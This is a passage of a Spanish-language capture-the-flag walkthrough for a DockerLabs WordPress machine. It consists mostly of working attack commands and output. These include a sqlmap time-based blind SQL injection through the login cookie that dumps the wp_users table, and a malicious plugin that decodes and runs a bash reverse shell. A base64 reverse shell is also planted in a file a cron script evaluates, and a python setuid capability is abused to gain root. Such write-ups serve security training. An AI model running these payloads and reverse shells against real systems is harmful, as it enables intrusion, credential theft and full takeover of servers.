are you sure that you want to continue with further target testing? [Y/n] 

[11:09:26] [WARNING] please consider usage of tamper scripts (option '--tamper')
[11:09:26] [INFO] testing if the target URL content is stable
[11:09:27] [WARNING] (custom) HEADER parameter 'Cookie #1*' does not appear to be dynamic
do you want to URL encode cookie values (implementation specific)? [Y/n] 

[11:09:29] [WARNING] heuristic (basic) test shows that (custom) HEADER parameter 'Cookie #1*' might not be injectable
[11:09:29] [INFO] testing for SQL injection on (custom) HEADER parameter 'Cookie #1*'
[11:09:29] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[11:09:30] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)'
[11:09:31] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (comment)'
[11:09:32] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[11:09:32] [INFO] testing 'Boolean-based blind - Parameter replace (DUAL)'
[11:09:32] [INFO] testing 'Boolean-based blind - Parameter replace (CASE)'
[11:09:32] [INFO] testing 'Generic inline queries'
[11:09:32] [INFO] testing 'MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause'
[11:09:34] [INFO] testing 'MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause'
[11:09:34] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[11:09:35] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[11:09:36] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'
[11:09:38] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[11:09:38] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'
[11:09:38] [INFO] testing 'MySQL inline queries'
[11:09:38] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[11:09:39] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[11:10:10] [INFO] (custom) HEADER parameter 'Cookie #1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (2) and risk (1) values? [Y/n] 

[11:10:12] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[11:10:12] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[11:10:14] [INFO] testing 'Generic UNION query (NULL) - 21 to 40 columns'
[11:10:17] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[11:10:19] [INFO] testing 'MySQL UNION query (NULL) - 21 to 40 columns'
[11:10:21] [INFO] checking if the injection point on (custom) HEADER parameter 'Cookie #1*' is a false positive
(custom) HEADER parameter 'Cookie #1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 

sqlmap identified the following injection point(s) with a total of 205 HTTP(s) requests:
---
Parameter: Cookie #1* ((custom) HEADER)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: wordpress_logged_in=" AND (SELECT 9724 FROM (SELECT(SLEEP(5)))IDCZ) AND "NyJG"="NyJG
---
[11:11:40] [INFO] the back-end DBMS is MySQL
[11:11:40] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] 
web server operating system: Linux Debian
web application technology: Apache 2.4.59
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[11:11:56] [INFO] enumerating database management system schema
[11:11:56] [INFO] fetching database names
[11:11:56] [INFO] fetching number of databases
[11:11:56] [INFO] retrieved:
[11:12:27] [INFO] adjusting time delay to 1 second due to good response times
2
[11:12:27] [INFO] retrieved: information_schema
[11:15:33] [INFO] retrieved: wordpress
[11:17:14] [INFO] fetching tables for databases: 'information_schema, wordpress'
[11:17:14] [INFO] fetching number of tables for database 'information_schema'
[11:17:14] [INFO] retrieved: 79
[11:17:30] [INFO] retrieved: ALL_PLUGINS
[11:19:35] [INFO] retrieved: APPLICABLE_ROLES
[11:22:16] [INFO] retrieved: CHARACTER_SETS
[11:24:26] [INFO] retrieved: CHECK_CONSTRAINTS
[11:27:04] [INFO] retrieved: COLLATIONS
[11:28:46] [INFO] retrieved: COLLATION_CHA^C
[11:30:01] [WARNING] HTTP error codes detected during run:
403 (Forbidden) - 1 times

Vemos que tiene 79 tablas, por lo que seria una locura esperar todo eso, vamos a ir al grano ya que nos interesa la base de datos de Wordpress, por lo que vamos a utilizar la base de datos por defecto a ver si cuela:

sqlmap --dbms=mysql -u "http://norc.labs/wp-login.php" --cookie='wordpress_logged_in=*' --level=2 -D wordpress -T wp_users --dump --batch

Info:

       ___
       __H__
 ___ ___[.]_____ ___ ___  {1.8.11#stable}
|_ -| . [']     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org                                                                                                                
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 11:31:46 /2025-01-18/

custom injection marker ('*') found in option '--headers/--user-agent/--referer/--cookie'. Do you want to process it? [Y/n/q] Y
[11:31:46] [WARNING] it seems that you've provided empty parameter value(s) for testing. Please, always use only valid parameter values so sqlmap could be able to run properly
[11:31:46] [WARNING] provided value for parameter 'wordpress_logged_in' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[11:31:46] [INFO] testing connection to the target URL
got a 302 redirect to 'http://norc.labs'. Do you want to follow? [Y/n] Y
[11:31:46] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: Cookie #1* ((custom) HEADER)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: wordpress_logged_in=" AND (SELECT 9724 FROM (SELECT(SLEEP(5)))IDCZ) AND "NyJG"="NyJG
---
[11:31:46] [INFO] testing MySQL
do you want to URL encode cookie values (implementation specific)? [Y/n] Y
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[11:32:05] [INFO] confirming MySQL
[11:32:05] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
[11:32:35] [INFO] adjusting time delay to 1 second due to good response times
[11:32:35] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.59
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[11:32:35] [INFO] fetching columns for table 'wp_users' in database 'wordpress'
[11:32:35] [INFO] retrieved: 10
[11:32:46] [INFO] retrieved: ID
[11:33:03] [INFO] retrieved: user_login
[11:35:00] [INFO] retrieved: user_pass
[11:36:41] [INFO] retrieved: user_nicename
[11:38:50] [INFO] retrieved: user_email
[11:40:32] [INFO] retrieved: user_url
[11:42:06] [INFO] retrieved: user_registered
[11:44:37] [INFO] retrieved: user_activation_key
[11:47:59] [INFO] retrieved: user_status
[11:50:00] [INFO] retrieved: display_name
[11:52:08] [INFO] fetching entries for table 'wp_users' in database 'wordpress'
[11:52:08] [INFO] fetching number of entries for table 'wp_users' in database 'wordpress'
[11:52:08] [INFO] retrieved: 1
[11:52:12] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done)                     
1
[11:52:22] [INFO] retrieved: admin
[11:53:08] [INFO] retrieved: 
[11:53:09] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[11:53:09] [INFO] retrieved: admin@oledockers.norc.labs
[11:57:40] [INFO] retrieved: admin
[11:58:26] [INFO] retrieved: admin
[11:59:13] [INFO] retrieved: $P$BeNShJ/iBpuokTEP2/94.sLS8ejRo6.
[12:06:42] [INFO] retrieved: 2024-07-01 18:07:01
[12:10:17] [INFO] retrieved: 0
[12:10:33] [INFO] retrieved: http://norc.labs
[12:13:44] [INFO] recognized possible password hashes in column 'user_pass'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N
do you want to crack them via a dictionary-based attack? [Y/n/q] Y
[12:13:44] [INFO] using hash method 'phpass_passwd'
what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/data/txt/smalldict.txt' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 1
[12:13:44] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] N
[12:13:44] [INFO] starting dictionary-based cracking (phpass_passwd)
[12:13:44] [INFO] starting 8 processes 
[12:13:52] [WARNING] no clear password(s) found                                                                                                             
Database: wordpress
Table: wp_users
[1 entry]
+----+------------------+------------------------------------+----------------------------+------------+-------------+--------------+---------------+---------------------+---------------------+
| ID | user_url         | user_pass                          | user_email                 | user_login | user_status | display_name | user_nicename | user_registered     | user_activation_key |
+----+------------------+------------------------------------+----------------------------+------------+-------------+--------------+---------------+---------------------+---------------------+
| 1  | http://norc.labs | $P$BeNShJ/iBpuokTEP2/94.sLS8ejRo6. | admin@oledockers.norc.labs | admin      | 0           | admin        | admin         | 2024-07-01 18:07:01 | <blank>             |
+----+------------------+------------------------------------+----------------------------+------------+-------------+--------------+---------------+---------------------+---------------------+

[12:13:52] [INFO] table 'wordpress.wp_users' dumped to CSV file '/root/.local/share/sqlmap/output/norc.labs/dump/wordpress/wp_users.csv'
[12:13:52] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/norc.labs'

[*] ending @ 12:13:52 /2025-01-18/

Vemos que ha funcionado, a parte tambien veremos la informacion de la base de datos de wordpress viendo unas credenciales tambien, las cuales probaremos en el propio login.

User: admin
Pass: $P$BeNShJ/iBpuokTEP2/94.sLS8ejRo6.

Si nosotros intentamos crackear ese hash MD5 veremos que no podemos, pero nos fijamos en que obtuvimos esta informacion de aqui admin@oledockers.norc.labs parece ser que hay un subdominio, por lo que veremos que contiene de la siguiente forma:

nano /etc/hosts

#Dentro del nano
<IP>           norc.labs oledockers.norc.labs

Lo guardamos y ahora nos vamos a esa parte del subdominio.

URL = http://oledockers.norc.labs/

Veremos lo siguiente cuando entremos:

Inbox
----------------------------------------------------------------------------------
From: admin@oledockers.norc.labs
Subject: Password Reminder
Hi, this is just in case I forget my password -> admin:wWZvgxRz3jMBQ ZN <--
----------------------------------------------------------------------------------

Vemos que la password del usuario admin es wWZvgxRz3jMBQ ZN por lo que probaremos a entrar desde el panel de wordpress con dichas credenciales.

Escalate user www-data

User: admin
Pass: wWZvgxRz3jMBQ ZN

Vemos que si nos deja y estaremos dentro del Wordpress en el panel de administrador.

Crearemos nosotros un plugin de wordpress con una reverse shell dentro del ella, de la siguiente forma:

echo "bash -c '/bin/bash -i >& /dev/tcp/<IP>/<PORT> 0>&1'" | base64

plugin.php

nano plugin.php

#Dentro del nano
<?php
/*
Plugin Name: HACKEADO
Description: Plugin para ejecutar comandos del sistema a través de la URL (solo en entorno controlado).
Version: 66666666.0
Author: d1se0
*/
?>

<?php
system("echo 'Base64ReverShell' | tee /tmp/shell; base64 -d /tmp/shell | bash");
?>
zip plugin.zip plugin.php

Nos vamos a Plugins -> Añadir nuevo plugin -> Subir Plugin -> Dentro de esta seccion le daremos a Browser... para seleccionar nuestro plugin malicioso.

Una vez seleccionado y subido, le daremos a Instalar ahora, despues le damos otra vez a plugins y nos aparecera el nuestro, antes de activarlo estaremos a la escucha:

nc -lvnp <PORT>

Y ahora si le daremos al boton Activar y volvemos a la escucha, veremos lo siguiente:

listening on [any] 7777 ...
connect to [192.168.5.186] from (UNKNOWN) [172.17.0.2] 54120
bash: cannot set terminal process group (30): Inappropriate ioctl for device
bash: no job control in this shell
www-data@c103b3df70e5:/var/www/norc.labs/wp-admin$ whoami
whoami
www-data

Sanitización de shell (TTY)

script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash

# Para ver las dimensiones de nuestra consola en el Host
stty size

# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>

Escalate user kvzlx

Si nos vamos a la home de kvzlx veremos un archivo bastante interesante llamado .cron_script.sh que si lo leemos veremos lo siguiente:

#!/bin/bash
ENC_PASS=$(cat /var/www/html/.wp-encrypted.txt)
DECODED_PASS=$(echo $ENC_PASS | base64 -d)

echo $DECODED_PASS > /tmp/decoded.txt

eval "$DECODED_PASS"

Vemos que esta decodificando su propia password en /tmp sin ningun tipo de sanitizacion, pero si nos vamos a la carpeta /tmp, veremos el archivo decoded.txt pero si lo leemos no lleva nada dentro, por lo que algo no esta ejecutando bien.

Tambien podemos observar que puede ser que se este ejeuctando un crontab cada cierto tiempo sobre ese archivo, vamos a investigar mas en los procesos a ver que esta pasando.

Si hacemos ps -aux no veremos mucho mas, por lo que utilizaremos la herramienta pspy64 que nos ayudara a todo esto, para ver de mejor forma que esta pasando de forma interna.

En nuestro host nos descargaremos la herramienta:

Una vez que la tengamos en nuestro host abriremos un servidor de python3 para pasarnos el archivo a la maquina victima:

python3 -m http.server

Y en la maquina victima haremos lo siguiente:

cd /tmp
wget http://<IP>:8000/pspy64

Una vez que nos lo hayamos pasado, le pondremos permisos de ejecuccion de la siguiente forma:

chmod +x pspy64

Y ahora lo ejecutamos:

./pspy64

Info:

pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2025/01/19 10:46:34 CMD: UID=33    PID=742    | ./pspy64 
2025/01/19 10:46:34 CMD: UID=33    PID=516    | bash 
2025/01/19 10:46:34 CMD: UID=33    PID=515    | sh -c bash 
2025/01/19 10:46:34 CMD: UID=33    PID=514    | script /dev/null -c bash 
2025/01/19 10:46:34 CMD: UID=33    PID=472    | /bin/bash -i 
2025/01/19 10:46:34 CMD: UID=33    PID=471    | /bin/bash -c /bin/bash -i >& /dev/tcp/192.168.5.186/7777 0>&1 
2025/01/19 10:46:34 CMD: UID=33    PID=470    | bash 
2025/01/19 10:46:34 CMD: UID=33    PID=466    | sh -c echo 'L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC41LjE4Ni83Nzc3IDA+JjEnCg==' | tee /tmp/shell; base64 -d /tmp/shell | bash 
2025/01/19 10:46:34 CMD: UID=33    PID=363    | /usr/sbin/apache2 -k start 
2025/01/19 10:46:34 CMD: UID=33    PID=304    | /usr/sbin/apache2 -k start 
2025/01/19 10:46:34 CMD: UID=33    PID=303    | /usr/sbin/apache2 -k start 
2025/01/19 10:46:34 CMD: UID=33    PID=302    | /usr/sbin/apache2 -k start 
2025/01/19 10:46:34 CMD: UID=0     PID=270    | tail -f /dev/null 
2025/01/19 10:46:34 CMD: UID=0     PID=264    | sshd: /usr/sbin/sshd [listener] 0 of 10-100 startups 
2025/01/19 10:46:34 CMD: UID=0     PID=211    | logger -t mysqld -p daemon error 
2025/01/19 10:46:34 CMD: UID=100   PID=210    | /usr/sbin/mariadbd --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=mysql --skip-log-error --pid-file=/run/mysqld/mysqld.pid --socket=/run/mysqld/mysqld.sock                                                                            
2025/01/19 10:46:34 CMD: UID=0     PID=83     | /bin/sh /usr/bin/mysqld_safe 
2025/01/19 10:46:34 CMD: UID=0     PID=48     | /usr/sbin/cron 
2025/01/19 10:46:34 CMD: UID=33    PID=39     | /usr/sbin/apache2 -k start 
2025/01/19 10:46:34 CMD: UID=33    PID=38     | /usr/sbin/apache2 -k start 
2025/01/19 10:46:34 CMD: UID=33    PID=37     | /usr/sbin/apache2 -k start 
2025/01/19 10:46:34 CMD: UID=33    PID=36     | /usr/sbin/apache2 -k start 
2025/01/19 10:46:34 CMD: UID=33    PID=35     | /usr/sbin/apache2 -k start 
2025/01/19 10:46:34 CMD: UID=0     PID=30     | /usr/sbin/apache2 -k start 
2025/01/19 10:46:34 CMD: UID=0     PID=1      | /bin/sh -c a2enmod rewrite &&     service apache2 restart &&     service cron start &&     service apache2 start &&     service mariadb start &&     service ssh start &&     setfacl -m u:www-data:0 /opt/python3 &&     tail -f /dev/null
2025/01/19 10:47:01 CMD: UID=0     PID=753    | /usr/sbin/CRON 
2025/01/19 10:47:01 CMD: UID=0     PID=754    | /usr/sbin/CRON 
2025/01/19 10:47:01 CMD: UID=1000  PID=755    | 
2025/01/19 10:47:01 CMD: UID=1000  PID=756    | /bin/bash /home/kvzlx/.cron_script.sh 
2025/01/19 10:47:01 CMD: UID=1000  PID=759    | 
2025/01/19 10:47:01 CMD: UID=1000  PID=757    | /bin/bash /home/kvzlx/.cron_script.sh 
2025/01/19 10:47:01 CMD: UID=0     PID=760    | /usr/sbin/CRON 
2025/01/19 10:47:01 CMD: UID=101   PID=761    | 
2025/01/19 10:47:01 CMD: UID=1000  PID=762    | /usr/sbin/exim4 -Mc 1tZSpZ-0000CG-2C
2025/01/19 10:48:01 CMD: UID=0     PID=768    | /usr/sbin/CRON 
2025/01/19 10:48:01 CMD: UID=0     PID=769    | /usr/sbin/CRON 
2025/01/19 10:48:01 CMD: UID=1000  PID=770    | /bin/sh -c /home/kvzlx/.cron_script.sh 
2025/01/19 10:48:01 CMD: UID=1000  PID=771    | /bin/bash /home/kvzlx/.cron_script.sh 
2025/01/19 10:48:01 CMD: UID=1000  PID=774    | 
2025/01/19 10:48:01 CMD: UID=1000  PID=772    | /bin/bash /home/kvzlx/.cron_script.sh 
2025/01/19 10:48:01 CMD: UID=0     PID=775    | /usr/sbin/CRON 
2025/01/19 10:48:01 CMD: UID=101   PID=776    | 
2025/01/19 10:48:01 CMD: UID=1000  PID=777    | /usr/sbin/exim4 -Mc 1tZSqX-0000CV-2J 
2025/01/19 10:49:01 CMD: UID=0     PID=779    | /usr/sbin/CRON 
2025/01/19 10:49:01 CMD: UID=0     PID=780    | /usr/sbin/CRON 
2025/01/19 10:49:01 CMD: UID=1000  PID=781    | /bin/sh -c /home/kvzlx/.cron_script.sh 
2025/01/19 10:49:01 CMD: UID=1000  PID=782    | cat /var/www/html/.wp-encrypted.txt 
2025/01/19 10:49:01 CMD: UID=1000  PID=783    | /bin/bash /home/kvzlx/.cron_script.sh 
2025/01/19 10:49:01 CMD: UID=1000  PID=785    | 
2025/01/19 10:49:01 CMD: UID=0     PID=786    | /usr/sbin/CRON 
2025/01/19 10:49:01 CMD: UID=0     PID=787    | 
2025/01/19 10:49:01 CMD: UID=1000  PID=788    | /usr/sbin/exim4 -Mc 1tZSrV-0000Cg-2S

Vemos que si esperamos un rato a que el cron se ejecute nos muestra lo que esta sucediendo a bajo nivel.

Para ello tendremos que esperar un rato, hasta que podremos observar lo siguiente:

2025/01/19 10:49:01 CMD: UID=1000  PID=782    | cat /var/www/html/.wp-encrypted.txt

Vemos que esta intentando leer el archivo .wp-encrypted.txt, vamos a ver que hay en dicho archivo.

Pero si entramos vemos que no hay ningun archivo, podemos nosotros crear el archivo, ya que no se esta aplicando ningun tipo de sanitizacion, lo que va hacer es que va a decodificar el base64 que nosotros le metamos al archivo y lo va a ejecutar, por lo que haremos lo siguiente:

Nos vamos a nuestro host y codificamos la reverse shell en base64:

echo "/bin/bash -c '/bin/bash -i >& /dev/tcp/<IP>/<PORT> 0>&1'"| base64

Info:

L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC41LjE4Ni83NzU1
IDA+JjEnCg==

Ahora en la maquina victima, pondremos lo siguiente:

nano /var/www/html/.wp-encrypted.txt

#Dentro del nano
L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC41LjE4Ni83NzU1IDA+JjEnCg==

Lo guardamos y seguidamente nos pondremos a la escucha en nuestro host:

nc -lvnp <PORT>

Solo tendremos que esperar un ratito y veremos lo siguiente en la escucha:

listening on [any] 7755 ...
connect to [192.168.5.186] from (UNKNOWN) [172.17.0.2] 48630
bash: cannot set terminal process group (945): Inappropriate ioctl for device
bash: no job control in this shell
kvzlx@c103b3df70e5:~$ whoami
whoami
kvzlx

Vemos que ya somos el usuario kvzlx.

Sanitización de shell (TTY)

script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash

# Para ver las dimensiones de nuestra consola en el Host
stty size

# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>

Escalate Privileges

Si vemos las capabilities que tiene el usuario, veremos lo siguiente:

/sbin/getcap -r / 2>/dev/null

Info:

/opt/python3 cap_setuid=ep

Por lo que podremos hacer lo siguiente:

/opt/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

Info:

root@c103b3df70e5:/tmp# whoami
root

Y con esto seremos root, por lo que habremos terminado la maquina.

PreviousLibrary DockerLabs (Easy)NextPredictable DockerLabs (Hard)

Last updated 4 months ago

URL =

URL =

URL =

Exploit Info Plugin
Info PoC SQL Injection Plugin Wodpress
Download pspy64